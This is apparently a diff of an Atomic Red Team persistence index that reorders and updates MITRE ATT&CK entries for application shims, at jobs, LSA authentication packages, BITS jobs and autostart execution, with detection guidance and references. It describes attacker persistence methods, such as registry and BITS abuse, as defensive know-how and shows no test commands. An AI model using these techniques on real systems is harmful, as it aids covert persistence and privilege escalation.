+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      - 'Module: Module Load'
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-11-10T18:29:31.094Z'
+      created: '2020-01-24T14:56:24.231Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83
       description: "Adversaries may establish persistence and/or elevate privileges
         by executing malicious content triggered by application shims. The Microsoft
         Windows Application Compatibility Infrastructure/Framework (Application Shim)
@@ -42774,19 +43997,11 @@ persistence:
         install backdoors, disable defenses like Windows Defender, etc. (Citation:
         FireEye Application Shimming) Shims can also be abused to establish persistence
         by continuously being invoked by affected programs."
-      id: attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2020-11-10T18:29:31.094Z'
-      created: '2020-01-24T14:56:24.231Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: |-
         There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):
 
@@ -42797,14 +44012,24 @@ persistence:
         * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)
 
         Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
-      - 'Module: Module Load'
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/011
+        external_id: T1546.011
+        source_name: mitre-attack
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+      - url: http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf
+        description: Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved
+          May 4, 2020.
+        source_name: FireEye Application Shimming
+      - source_name: Black Hat 2015 App Shim
+        description: Pierce, Sean. (2015, November). Defending Against Malicious Application
+          Compatibility Shims. Retrieved June 22, 2017.
+        url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf
       identifier: T1546.011
     atomic_tests:
     - name: Application Shim Installation
@@ -42893,24 +44118,17 @@ persistence:
         elevation_required: true
   T1053.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.001
-        url: https://attack.mitre.org/techniques/T1053/001
-      - source_name: Kifarunix - Task Scheduling in Linux
-        url: https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/
-        description: Koromicha. (2019, September 7). Scheduling tasks using at command
-          in Linux. Retrieved December 3, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: At (Linux)
-      description: |-
-        Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)
-
-        An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
-      id: attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e
       type: attack-pattern
+      name: At (Linux)
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-10-15T14:36:26.063Z'
+      created: '2019-12-03T12:59:36.749Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -42918,27 +44136,48 @@ persistence:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-23T22:35:13.112Z'
-      created: '2019-12-03T12:59:36.749Z'
-      x_mitre_version: '1.0'
+      x_mitre_platforms:
+      - Linux
       x_mitre_is_subtechnique: true
+      id: attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e
+      description: |-
+        Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)
+
+        An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
+
+        Adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)
       x_mitre_remote_support: true
       x_mitre_detection: "Monitor scheduled task creation using command-line invocation.
         Legitimate scheduled tasks may be created during installation of new software
         or through system administration functions. Look for changes to tasks that
-        do not correlate with known software, patch cycles, etc. \n\nSuspicious program
-        execution through scheduled tasks may show up as outlier processes that have
-        not been seen before when compared against historical data. Data and events
-        should not be viewed in isolation, but as part of a chain of behavior that
-        could lead to other activities, such as network connections made for Command
-        and Control, learning details about the environment through Discovery, and
-        Lateral Movement."
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
-      x_mitre_platforms:
-      - Linux
+        do not correlate with known software, patch cycles, etc. \n\nReview all jobs
+        using the <code>atq</code> command and ensure IP addresses stored in the <code>SSH_CONNECTION</code>
+        and <code>SSH_CLIENT</code> variables, machines that created the jobs, are
+        trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are
+        stored in <code>/var/spool/cron/atjobs/</code>.(Citation: rowland linux at
+        2019)\n\nSuspicious program execution through scheduled tasks may show up
+        as outlier processes that have not been seen before when compared against
+        historical data. Data and events should not be viewed in isolation, but as
+        part of a chain of behavior that could lead to other activities, such as network
+        connections made for Command and Control, learning details about the environment
+        through Discovery, and Lateral Movement."
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/001
+        external_id: T1053.001
+        source_name: mitre-attack
+      - url: https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/
+        description: Koromicha. (2019, September 7). Scheduling tasks using at command
+          in Linux. Retrieved December 3, 2019.
+        source_name: Kifarunix - Task Scheduling in Linux
+      - url: https://gtfobins.github.io/gtfobins/at/
+        description: Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved
+          September 28, 2021.
+        source_name: GTFObins at
+      - url: https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/
+        description: Craig Rowland. (2019, July 25). Getting an Attacker IP Address
+          from a Malicious Linux At Job. Retrieved October 15, 2021.
+        source_name: rowland linux at 2019
       identifier: T1053.001
     atomic_tests:
     - name: At - Schedule a job
@@ -42988,34 +44227,31 @@ persistence:
 '
   T1053.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.002
-        url: https://attack.mitre.org/techniques/T1053/002
-      - url: https://twitter.com/leoloobeek/status/939248813465853953
-        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
-          December 12, 2017.
-        source_name: Twitter Leoloobeek Scheduled Task
-      - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
-        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
-          settings. Retrieved December 12, 2017.
-        source_name: TechNet Forum Scheduled Task Operational Setting
-      - url: https://technet.microsoft.com/library/dd315590.aspx
-        description: Microsoft. (n.d.). General Task Registration. Retrieved December
-          12, 2017.
-        source_name: TechNet Scheduled Task Events
-      - source_name: Microsoft Scheduled Task Events Win10
-        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
-        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
-          Retrieved June 27, 2019.
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: At (Windows)
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
+      modified: '2020-03-24T13:43:40.776Z'
+      created: '2019-11-27T13:52:45.853Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
       description: "Adversaries may abuse the <code>at.exe</code> utility to perform
         task scheduling for initial or recurring execution of malicious code. The
         [at](https://attack.mitre.org/software/S0110) utility exists as an executable
@@ -43028,27 +44264,7 @@ persistence:
         and or to run a process under the context of a specified account (such as
         SYSTEM).\n\nNote: The <code>at.exe</code> command line utility has been deprecated
         in current versions of Windows in favor of <code>schtasks</code>."
-      id: attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-03-24T13:43:40.776Z'
-      created: '2019-11-27T13:52:45.853Z'
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_remote_support: true
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: |-
         Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
 
@@ -43064,8 +44280,31 @@ persistence:
         Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)
 
         Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/002
+        external_id: T1053.002
+        source_name: mitre-attack
+      - source_name: Twitter Leoloobeek Scheduled Task
+        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
+          December 12, 2017.
+        url: https://twitter.com/leoloobeek/status/939248813465853953
+      - source_name: TechNet Forum Scheduled Task Operational Setting
+        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
+          settings. Retrieved December 12, 2017.
+        url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
+      - source_name: TechNet Scheduled Task Events
+        description: Microsoft. (n.d.). General Task Registration. Retrieved December
+          12, 2017.
+        url: https://technet.microsoft.com/library/dd315590.aspx
+      - url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
+        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
+          Retrieved June 27, 2019.
+        source_name: Microsoft Scheduled Task Events Win10
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
       identifier: T1053.002
     atomic_tests:
     - name: At.exe Scheduled task
@@ -43085,55 +44324,55 @@ persistence:
 '
   T1547.002:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Authentication Package
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Module: Module Load'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-25T15:11:25.821Z'
+      created: '2020-01-24T14:54:42.757Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec
       description: |-
         Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)
 
         Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of <code>"Authentication Packages"=&lt;target binary&gt;</code>. The binary will then be executed by the system when the authentication packages are loaded.
-      name: Authentication Package
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.002
-        url: https://attack.mitre.org/techniques/T1547/002
-      - url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
-        description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1,
-          2017.
-        source_name: MSDN Authentication Packages
-      - url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
-        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
-          Provider DLLs. Retrieved March 1, 2017.
-        source_name: Graeber 2014
-      - url: https://technet.microsoft.com/en-us/library/dn408187.aspx
-        description: Microsoft. (2013, July 31). Configuring Additional LSA Protection.
-          Retrieved June 24, 2015.
-        source_name: Microsoft Configure LSA
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-25T15:11:25.821Z'
-      created: '2020-01-24T14:54:42.757Z'
-      x_mitre_platforms:
-      - Windows
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Module: Module Load'
-      - 'Command: Command Execution'
       x_mitre_detection: 'Monitor the Registry for changes to the LSA Registry keys.
         Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012
         R2 may generate events when unsigned DLLs try to load into the LSA by setting
         the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
         File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber
         2014) (Citation: Microsoft Configure LSA)'
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/002
+        external_id: T1547.002
+        source_name: mitre-attack
+      - source_name: MSDN Authentication Packages
+        description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1,
+          2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
+      - source_name: Graeber 2014
+        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
+          Provider DLLs. Retrieved March 1, 2017.
+        url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
+      - source_name: Microsoft Configure LSA
+        description: Microsoft. (2013, July 31). Configuring Additional LSA Protection.
+          Retrieved June 24, 2015.
+        url: https://technet.microsoft.com/en-us/library/dn408187.aspx
       identifier: T1547.002
     atomic_tests:
     - name: Authentication Package
@@ -43156,9 +44395,32 @@ persistence:
         elevation_required: true
   T1197:
     technique:
-      id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2021-04-13T21:36:04.956Z'
       name: BITS Jobs
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Service: Service Metadata'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.2'
+      created: '2018-04-18T17:59:24.739Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7
+      x_mitre_defense_bypassed:
+      - Firewall
+      - Host forensic analysis
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
       description: |-
         Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.
 
@@ -43167,83 +44429,60 @@ persistence:
         Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)
 
         BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1197
-        url: https://attack.mitre.org/techniques/T1197
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
-        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
-          22, 2017.
-        source_name: Microsoft COM
-      - url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx
-        description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved
-          January 12, 2018.
-        source_name: Microsoft BITS
-      - url: https://msdn.microsoft.com/library/aa362813.aspx
-        description: Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.
-        source_name: Microsoft BITSAdmin
-      - url: https://www.secureworks.com/blog/malware-lingers-with-bits
-        description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers
-          with BITS. Retrieved January 12, 2018.
-        source_name: CTU BITS Malware June 2016
-      - url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/
-        description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background
-          Intelligent Transfer Service. Retrieved January 12, 2018.
-        source_name: Mondok Windows PiggyBack BITS May 2007
-      - url: https://www.symantec.com/connect/blogs/malware-update-windows-update
-        description: Florio, E. (2007, May 9). Malware Update with Windows Update.
-          Retrieved January 12, 2018.
-        source_name: Symantec BITS May 2007
-      - url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/
-        description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia.
-          Retrieved January 12, 2018.
-        source_name: PaloAlto UBoatRAT Nov 2017
-      - url: https://technet.microsoft.com/library/dd939934.aspx
-        description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January
-          12, 2018.
-        source_name: Microsoft Issues with BITS July 2011
-      - source_name: Elastic - Hunting for Persistence Part 1
-        url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
-        description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft
-          101: Hunting for persistence using Elastic Security (Part 1). Retrieved
-          December 21, 2020.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-04-13T21:36:04.956Z'
-      created: '2018-04-18T17:59:24.739Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
+      x_mitre_contributors:
+      - Brent Murphy, Elastic
+      - David French, Elastic
+      - Ricardo Dias
+      - Red Canary
       x_mitre_detection: |-
         BITS runs as a service and its status can be checked with the Sc query utility (<code>sc query bits</code>).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (<code>bitsadmin /list /allusers /verbose</code>).(Citation: Microsoft BITS)
 
         Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)
 
         Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)
-      x_mitre_defense_bypassed:
-      - Firewall
-      - Host forensic analysis
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Network Traffic: Network Connection Creation'
-      - 'Service: Service Metadata'
-      - 'Command: Command Execution'
-      x_mitre_contributors:
-      - Brent Murphy, Elastic
-      - David French, Elastic
-      - Ricardo Dias
-      - Red Canary
-      x_mitre_version: '1.2'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1197
+        external_id: T1197
+        source_name: mitre-attack
+      - source_name: Microsoft COM
+        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
+          22, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
+      - source_name: Microsoft BITS
+        description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved
+          January 12, 2018.
+        url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx
+      - source_name: Microsoft BITSAdmin
+        description: Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.
+        url: https://msdn.microsoft.com/library/aa362813.aspx
+      - source_name: CTU BITS Malware June 2016
+        description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers
+          with BITS. Retrieved January 12, 2018.
+        url: https://www.secureworks.com/blog/malware-lingers-with-bits
+      - source_name: Mondok Windows PiggyBack BITS May 2007
+        description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background
+          Intelligent Transfer Service. Retrieved January 12, 2018.
+        url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/
+      - source_name: Symantec BITS May 2007
+        description: Florio, E. (2007, May 9). Malware Update with Windows Update.
+          Retrieved January 12, 2018.
+        url: https://www.symantec.com/connect/blogs/malware-update-windows-update
+      - source_name: PaloAlto UBoatRAT Nov 2017
+        description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia.
+          Retrieved January 12, 2018.
+        url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/
+      - source_name: Microsoft Issues with BITS July 2011
+        description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January
+          12, 2018.
+        url: https://technet.microsoft.com/library/dd939934.aspx
+      - url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
+        description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft
+          101: Hunting for persistence using Elastic Security (Part 1). Retrieved
+          December 21, 2020.'
+        source_name: Elastic - Hunting for Persistence Part 1
       identifier: T1197
     atomic_tests:
     - name: Bitsadmin Download (cmd)
@@ -43373,57 +44612,43 @@ persistence:
         name: command_prompt
   T1547:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Boot or Logon Autostart Execution
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'File: File Modification'
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      - 'Module: Module Load'
+      - 'Kernel: Kernel Module Load'
+      - 'Driver: Driver Load'
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-10-19T04:03:47.056Z'
+      created: '2020-01-23T17:46:59.535Z'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - root
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
       id: attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf
       description: |-
         Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)  These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.
 
         Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.
-      name: Boot or Logon Autostart Execution
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547
-        url: https://attack.mitre.org/techniques/T1547
-      - external_id: CAPEC-564
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/564.html
-      - url: http://msdn.microsoft.com/en-us/library/aa376977
-        description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November
-          12, 2014.
-        source_name: Microsoft Run Key
-      - url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
-        description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1,
-          2017.
-        source_name: MSDN Authentication Packages
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
-        description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.
-        source_name: Microsoft TimeProvider
-      - url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
-        description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence,
-          Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.'
-        source_name: Cylance Reg Persistence Sept 2013
-      - source_name: Linux Kernel Programming
-        url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
-        description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel
-          Module Programming Guide. Retrieved April 6, 2018.
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-04-24T13:50:12.837Z'
-      created: '2020-01-23T17:46:59.535Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
       x_mitre_detection: "Monitor for additions or modifications of mechanisms that
         could be used to trigger autostart execution, such as relevant additions to
         the Registry. Look for changes that are not correlated with known updates,
@@ -43442,23 +44667,37 @@ persistence:
         Look for abnormal process behavior that may be due to a process loading a
         malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line
         parameters involved in kernel modification or driver installation."
